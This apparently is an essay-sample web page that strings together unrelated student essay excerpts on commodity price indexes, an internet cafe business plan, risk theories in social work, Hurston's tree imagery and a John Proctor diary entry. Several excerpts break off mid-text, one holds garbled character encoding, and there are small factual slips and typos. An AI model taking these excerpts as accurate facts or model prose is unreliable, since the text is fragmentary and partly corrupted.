International Commodities Index - Article Example The supply chain of most products in initiated in the production or manufacturing stage. During this stage engineers and managers make purchase orders to obtain key raw materials needed to create the goods or services. In the power tool industry, two essential raw materials are metals and plastics. Plastics are a raw material which is considered a petroleum derivative. Crude oil and metals are categorized as commodities in the stock market. Their prices are very volatile and fluctuations in price occurred on a daily basis. Good indicators which analyst in the power tool industry must pay close attention to are commodity price indexes. For example, the Rogers International Commodity Index (RICI) aims to be an effective indicator of the price of raw material in the United States and around the world (Rogersrawmaterials, 2007). When the prices go down on these materials it is good idea to realize bulk purchases. Another strategy the can be utilized to lock the price of the commodity is to acquire future contracts. A future contract obligates a trader to sell an asset at an agreed upon price at some point in the future (Bodie & Kane & Marcus, 2002, p.982). Power pools are products which need energy in order to function. The energy industry is another key industry with has a great impact on the power tool industry. The designers of power tools must consider what type of platform will provide energy into the system. Two possible alternatives are battery and electricity power tools. Trends in the capacity and prices of batteries must be considered since the overall cost of the unit rises after the purchase of the batteries. If the power tools depends on electricity the executives of the companies could analyze trends in the electricity market by utilizing regression analyzes in which the monthly price of electricity over the last 10-20 years in particular country or city are inputted into the equation to determine price trends.  

Startup Plan Assignment Example | Topics and Well Written Essays - 4000 words

Startup Plan - Assignment Example This will be achieved by introducing an innovative method of managing payment and access to internet services. This will allow the customer the flexibility of access, payment and budgeting. The rates offered for internet access will be competitive. The concept is still at start-up level, however, the next stage is to secure funding and this will be carried out by applying for funding to various sources. There is the potential to trademark our concept of the Access Card, and enquiries are being made to the relevant authorities. Our market mainly consists of students who cannot afford to be tied down to long term internet contracts, and this segment as a whole is currently experiencing record levels of borrowing to sustain their education. This is a huge potential market of 42 401 students in the Yorkshire and Humber region (UCAS 2006), and are desperately in need of more flexible internet access. To ensure this, we will be undertaking an aggressive marketing campaign and liaising with the National Students Union. Our concept will require a minimum of 100,000 for the first year, with a 20% stake offered for potential investors. 20 000 will also be made available from personal savings of the owner . 1.1 Objectives X Internet Caf's objectives for the first three years of operation include: The creation of a novel way to access and pay for internet access. Provide an integrated internet and data management service at affordable prices. Expand into other areas of the United Kingdom Achieve a 60% penetration rate for the national student community. 1.2 Mission As the cost of broadband internet access comes down, its popularity will increase, but at the price of long and binding contracts. X Internet Caf will provide student communities with access to the Internet, at a price they can control, and at hours that are compatible with their lifestyles. 1.3 Keys to Success The keys to success for X Internet Caf are: The creation of the Access Card that will differentiate payment methods and accessibility of computers. An all-inclusive service that is suitable for every budget. 1.4 Risks The risks involved with starting X Internet Caf are: Will the anticipated demand materialise Will the popularity of all-inclusive broadband internet in accommodation rates grow 2.0 Company Summary X Internet Caf, soon to be located in the city of Sheffield, will offer the student community with affordable internet services, through the innovative Access card which allows the student to browse and access internet services at manageable prices. X Internet Caf will also offer photocopying, binding, laminating and printing services which can paid off the Access Card. X internet caf was born out of the lack of basic internet access that seems prevalent in the UK. The UKs e-government programme has

Impact Of Theories Relating To Risk Social Work Essay

Impact Of Theories Relating To Risk Social Work Essay To what extent do theories relating to risk inform our understanding of an aspect or aspects of contemporary social work? I am going to briefly discuss the meanings of risk. Whilst I am aware that there are many theories of risk, I have identified three main themes and will be exploring these in relation to contemporary social work, the themes of governmentality, cultural theory and risk society. Present day social work is concerned with matters of vulnerability and risk (Kemshall et al, 1997), (Dalrymple and Burke, 2006), (Parton, 1996), (Titterton, 2005), (Hothersall and Mass-Lowit, 2010). Media coverage of serious case reviews regarding the deaths of children have led to an onslaught of criticism into social work practice. In looking for definitions to define risk, I found several meanings. Traditionally risk was defined neutrally as a chance or likelihood a behaviour or event will occur (Lishman, 2002: 154), (Munro, 2002:64), for example the possibility of a gain as well as a loss. Kemshall (2002) discusses the uses of risk to insurance and a mathematical probability approach to risk. In postmodern society, risk is now attributed to the terms of danger or hazard (Lupton, 1999 a: 12). The concept of Governmentality was developed by the French philosopher Michel Foucault in the later years of his life between the late 1970s and his death in 1984. His concept provides an understanding of power, not just in terms of the power of the state from a top-down approach, but in the more subtle forms of power exercised through a network of institutions, practices, procedures and techniques which act to regulate social conduct (Joseph 2010:225). Power is noticeable in a positive way through the production of knowledge and discourses that are internalised by individuals, guiding the behaviour of populations and leading to more efficient forms of social control. Parton (1994) cited in Pease (2002) writes how individuals permit government at a distance through being encouraged and supported to exercise freedom and choice. Because power is de-centred individuals play a role in their own self-governance. Criticisms of Foucault argue that he fails to recognise that power is not equal to all. It can also be argued that he lacks reference to the exercise of power in relation to race, age, gender and class, especially how accessible power is between different social groups. Cooper (1994: 450) argues about the character of the technologies of power regarding racist and gendered discourses being used. It was argued that Foucault was not attentive to how people respond to discourses in their daily lives (Lupton: 1999 b: 102). Critics also believed that Foucault lacked awareness in the power institutions had over individuals and that individuals behaviour in society was down to following rules of conventions (Hoy: 1986:151). Feminist critics such as Hartstock (1990:171-172) believe Foucaults understanding of power diminishes individuals to objects of power than individuals able to resist. Foucaults work on defining the relations and mechanisms of power like governmentality can support social workers to think about their position of power within the structures (that maintain the oppression of service users) in their work. Empowerment uses social science to solve social problems and is a social justice discourse in social work. It allows social workers to redistribute power and knowledge in their practice, whilst challenging and combating injustice and oppression. Empowerment develops capacities of individuals, whilst emphasising individual responsibility. Pease (2002:137) argues that there is an assumption that power is something that can be given and empowering someone is to confer. Therefore as Braye and Preston-Shoot (2003:100) discuss, empowerment is about oppressed people taking the power and demanding to be heard. Because knowledge is central to understanding power within society, in order to empower service users there must be a reallocation of knowledge, an ins urrection of subjugated knowledge as indicated by Foucault (1977). Listening to service users and allowing them to have more control over seeking solutions to their problems or identifying their needs within the wider social context, is another example of empowerment. We belong to many social groups, some by choice and some because they are forced upon us. Within these groups, some have more or less power over others. Social workers need to be aware of difference and diversity and develop a greater sense of self awareness about the risks of labelling, stereotyping and holding subjective beliefs. The term Risk Society describes a society that is exposed to harm as a result of human activity. German sociologist Ulrich Beck (1992) first used the term, although British sociologist Anthony Giddens has also written on the same subject matter. Both authors argue humans have always been subjected to risk, e.g. natural disasters but these are seen as being caused by non-human forces. Modern society is now exposed to risks such as terrorism, chemical pollution and nuclear power. Giddens (1999) defines these as external and manufactured risks, external being risks arising from nature (e.g. flooding) and manufactured risks being the result of human activity, e.g. developments in science and technology. As humans are responsible for manufactured risks, both Beck and Giddens argue that societies can assess the level of risk being produced in a reflexive way that can alter the planned activity itself. People are now more wary of what professionals tell us, which is different to the view of the older generation. We are more critical of professionals and more likely to question them They believe there is an increase in reflexivity (the idea that society can adapt to new risks) as a response to risk and uncertainty in postmodern soci ety, but Beck (1992:21) relates this to more risks and hazards being produced, where Giddens (1999:3) believes in human subjectivity being more sensitive to risk. Criticisms of risk society question the level of risk in postmodern society. Turner (1994: 180) questions whether life has become more risky in the present day, than how it affected individuals in the past. Ungar, cited in Goode and Ben-Yehuda (2009: 82) argues that the threats of today infuse fear as well as, not instead of the past fears. Culture, race and gender do not feature in both Beck and Giddens writings and it could be argued that it would be difficult for an individual to be reflexive regarding conflicts of this nature. Joffe (1999) argues that there had been a failure to recognise emotion in respect to how people cope with living in a risk society. Delanty (1999:171) draws from the criticisms by Lash, arguing that Beck and Giddens do not recognise the cultural dimension of reflexivity, due to disregarding collective agency such as the community in favour of individualism. Social work has changed from a concern with need to one of risk (Kemshall, 2002). The media perception of social workers failing in their duty to prevent the deaths of children or protect the public from individuals known to be mentally ill, has led to more bureaucratic solutions, through legislation, procedures and guidelines (Ferguson, 2004). Blame is allocated due to the emphasis in risk (Douglas, 1992). The regulation of risk replaces need as a focal point and reasoning for social work intervention. Lishman (2007: 164) writes how working with risk will always remain a risky business, but with the assistance of sound methods and defensible decision-making it can be well managed. Titterton (2005:50) argues there is no such thing as a risk free option: all options hold potential risks. Lishman explains further that in the climate of the blame culture, risk assessments need to be of a standard that contain defensible decisions that can hold up in cases where there has been a risk failure (2007:157). There is the danger that in using risk assessments to check availability for a service, there is the potential for the social worker to be distanced from the service user. Involving the service user to do their own risk assessments and explain what they believe are the risks is a form of empowerment, which places them at the centre of the process. Clutton et al (2006: 18) links the involvement of the service user to empowerment, Risk assessment may be empowering if it allows the service user to take an informed decision on future action. Social workers have to be able to asses the predicted outcomes of a potential risk to a service user but this is not always easy. Differing interpretations of a situation due to the cultural and social background of people and groups can make understanding risk and risk management difficult in decision making (Reed et al, 2004:149). Service users have started to make choices in how they interact with social services e.g. self-referral. In order to make plans about their lives, social workers need to interact with families in new ways that recognise their disadvantage and oppression in society. It could be asked if service users really have choice or do they have options within choice? Harris and White (2009:100) consider choice to be a key element of the governments modernisation agenda and are established in services such as direct payments and choice of hospital. Labelling of service users in assessments as disturbed, at risk, in need, describes behaviour from a value perspective (Dalrymple and Burke, 2006). Slovic (1999) writes how risk assessments are coloured by subjective judgements of the social worker at every stage of the assessment process. Hall et al (2006:23) argues however that categorisation of service users in reports, meetings and in the court is an expectation of social workers as a practical and professional duty to provide assessments and provide a course of action or services. The notion of Culture Theory developed by Mary Douglas (1966, 1798) and Douglas and Wildavsky (1982) has been influential in looking at perspectives on risk. Cultural theory aims to explain how personality and cultural traits influence risk perceptions and why different people and social groups fear different risks. Douglas argues the relation of risk to politics and its link to accountability responsibility and blame (Lupton, 1999:39). Douglas and Wildavsky (1982) introduced the grid/group concept to explain how cultural proportions can compare society. It defines how people can be divided into four types that predict how they react to different types of hazards- Individualist, Egalitarian, Hierarchists and Fatalist. Thompson et al (1990:5) explain group as referring to how much the individual is integrated into enclosed units and grid to how much a persons life is restricted as a cause of exterior compulsory instructions. Douglass theory is not without criticism. Lupton (1999:7) questions the medias contributory role to the risk knowledge of their audience. It can be argued that you cannot foresee how anyone will behave in response to a particular circumstance and that cultural theory is opaque, not taking into account the complexities of modern society (Rayner, 1992, Boholm, 1996). Tansey and O Riordan (1999) argue the theory is deterministic and takes no account of the free will of individuals. Ostrander (1992) makes a prominent argument, suggesting that cultural theory should apply to social environments in order to distinguish social systems as a whole. It could also be argued that as Douglas does not explain how risk perceptions regarding to individuals and organisations change over time, her theory could be seen as static (Bellaby (1990). Gross and Rayner (1985:18) argue that Douglas fails to explain, what economic inducements or deprivations dispose persons to change their social position. Accountability means being answerable to others for the quality and efficiency of ones efforts. Social workers are accountable to service users, the community, their department and their supervisors. They must be able to explain what it is they do, how it is done and that their work meets professional standards for competence. Mishra (1984), cited in Wilson et al, (2008:39) writes how there is a reduction in professional autonomy and control due to accountability and structural demands being placed on agencies. Social workers, through fear of miscalculating a situation can undertake cautious and defensive practice which falls short of considering the implications, risks and benefits to the service user of the decisions made and measures taken. Bamford (1990) writes how social workers must develop a system of accountability which does not lose sight of the needs of the clients and their support systems. O Hanlon, cited in Parton and O Byrne (2000: 88), separates blame from accountability in that accountability features responsibility, is empowering and promotes self agency. Blame does not invite co-operation, is alienating and closes down possibilities. An example of the links between risk and blame is the case of baby Peter, who was killed by his mothers partner and was the subject of a multiple amount of media attention, proportioning blame on the social workers in his care. The description of harm and danger portrayed by the media, the government and organisational responses to complaints and legal action, resulting in a blame culture is a consequence of risk aversion employed by some social workers (Furedi, 2002). This could leave social workers feeling the need to protect themselves and hesitant, leading to passing the blame onto other people. Webb, (2006:70) links blame culture to risk avoidance being the main priority, resulting in tighter measures of accountability and trans parency being involved. Kemshall (2002: 94) suggests blame serves to strengthen accountability, but also subtly to control information flow and usage and to reinforce loyalty and solidarity with particular viewpoints on risk. Responsibility of the social worker is linked to accountability. These are sustained in codes of practice, the law and daily verbal exchanges. Hall et al (2006: 16) describes how professionals are mindful of their interactions, should their speech causes their conduct to be accountable. Parton and OByrne (2000: 183) discuss the ethics of responsibility in which service users are able to talk freely about themselves, their situation and the best way to solve their problems. Social workers are supporting service users to take responsibility for their own actions, which replaces concepts of cause and determination Howe (1986), cited in Parton (1996:88). The responsibility of the social worker is to the well-being of service users, but there are times when they work in situations that are conflicting. Dominelli (2009:11) offers one explanation of this in a care-control dilemma, when there is a need to balance the determination of the service user with harm. The social workers responsibil ity to the wider society and adherence to the law mean that at times the well-being of the service users may not take priority. In conclusion we have considered the impact of risk in the field of social work. In doing so we have identified three main theories, that of Govermentality, Risk Society and Culture Theory. We have analysed the impact of social work on these theories. Govermentality Theory helps us to understand power and the production of knowledge that enables individuals to govern themselves. Empowerment, as discussed previously enables service users to gain control over decisions that affect their lives. Risk Society Theory helps us to understand how communities are organised in its response to risk. This has been discussed in relation to social work in the media and the bureaucratic defensive practices that have developed as a result of extensive coverage of high profile service failings. Culture Theory seeks to explain how the social context in which we operate affects our responses to risk. As considered earlier, accountability is a means for social workers to explain their actions and the rea soning behind them, blame culture leads to social workers feeling apprehensive and self-preserving of their role. The social worker also has responsibility to the service users, but also to the wider society. Word count 2563

Tree Imagery in Hurston’s Novels, Their Eyes Were Watching God and Sera

Tree Imagery in Hurston’s Novels, Their Eyes Were Watching God and Seraph on the Suwanee Hurston uses the fruit tree as an important image in both of the texts: the blossoming pear tree for Janie and the budding mulberry tree for Arvay. Each holds a unique meaning for its counterpart. In looking at Janie’s interaction with her tree, I chose to focus on the passage on page 11, beginning with â€Å"She was stretched on her back beneath the pear tree†¦Ã¢â‚¬ . For Arvay, I chose the passage on page 37, beginning with â€Å"They entered the place under the tree†¦Ã¢â‚¬ . The two tree passages have many similarities and differences. The most obvious difference is that Hurston first introduces us to the pear tree with Janie alone, whereas we have our first experience of the mulberry tree with both Arvay and Jim. This in itself is symbolic of important aspects of both of the characters. For Janie, it points to her independence and strength. For Arvay, it seems to show her dependence and frailty. Another difference lies in the position and shape of the tree itself. In Their Eyes, â€Å"the gold of the sun†, â€Å"t...

Diary Entry of John Proctor Essay

Tomorrow is the day of my execution. For once of my life I lied, I confessed to something I do not believe, I betrayed my friend. I am a man of sin, I told Danforth that they were all involved in witchcraft, I thought I would not feel guilty about it since they are already dead and I am doing this for my family. My beloved wife Elizabeth needs a man in the household, and my children, they need a father. I thought putting my family as my first priority, even more important than honor and the truth; but I am wrong, seriously wrong. I used them, my neighbors, my friends in order to persuit my own happiness. I used them, I am a man of sin. I am now a man of sin, and this is all because of that lustful woman named Abigail Williams. I admit that I did like her at first, her beauty deeply attracted me and I did something that was a shame for my whole life, I betrayed my wife Elizabeth. I don’t know what I was thinking back than, but I certainly regret it now. Elizabeth trusted me, our family were united, everything were fabulous until that woman came into my life. If there were anyone that is actually the devil, is must be her, Abagail Williams. She didn’t just ruin the life of my household, but everyone in Salem, the Coreys, the Nurses, even the Putnams were ruined because of that devil and her so called witchcraft. Because of her, nobody in Salem could live the lives they had, everyone went crazy, everybody is accusing each other in order to keep themselves away from harm. Maybe Abagail didn’t realise that the results will turn out to be like this, but this is reality. It’s all because of her lust, her thirst for power, her wicked sick mind, it’s all because of her. It is Abagail that drove everyone mad. It is Abagail that made everyone suspiciouse of their neighbors and friends. It is Abagail that killed out people in Salem. And it is Abagail that made me have to lose my word, it is her that made me confess to a lie. It is Abagail Williams who turned me into the man that doesn’t worth anymore credit, it is Abagail that killed me. Abagail Williams is not saint that confessed to the truth, but a murderer that slaughtered the nice people of Salem. Tomorrow is my last day living, how will the people of Salem view me? Maybe they will take me as the villian that blackened the saint’s names, or maybe they will see me as a man with honor, to die like a man not a coward that would’ve done anything to save my own life. I will die like a man.

The Effects Of Groundwater Pollution On The World

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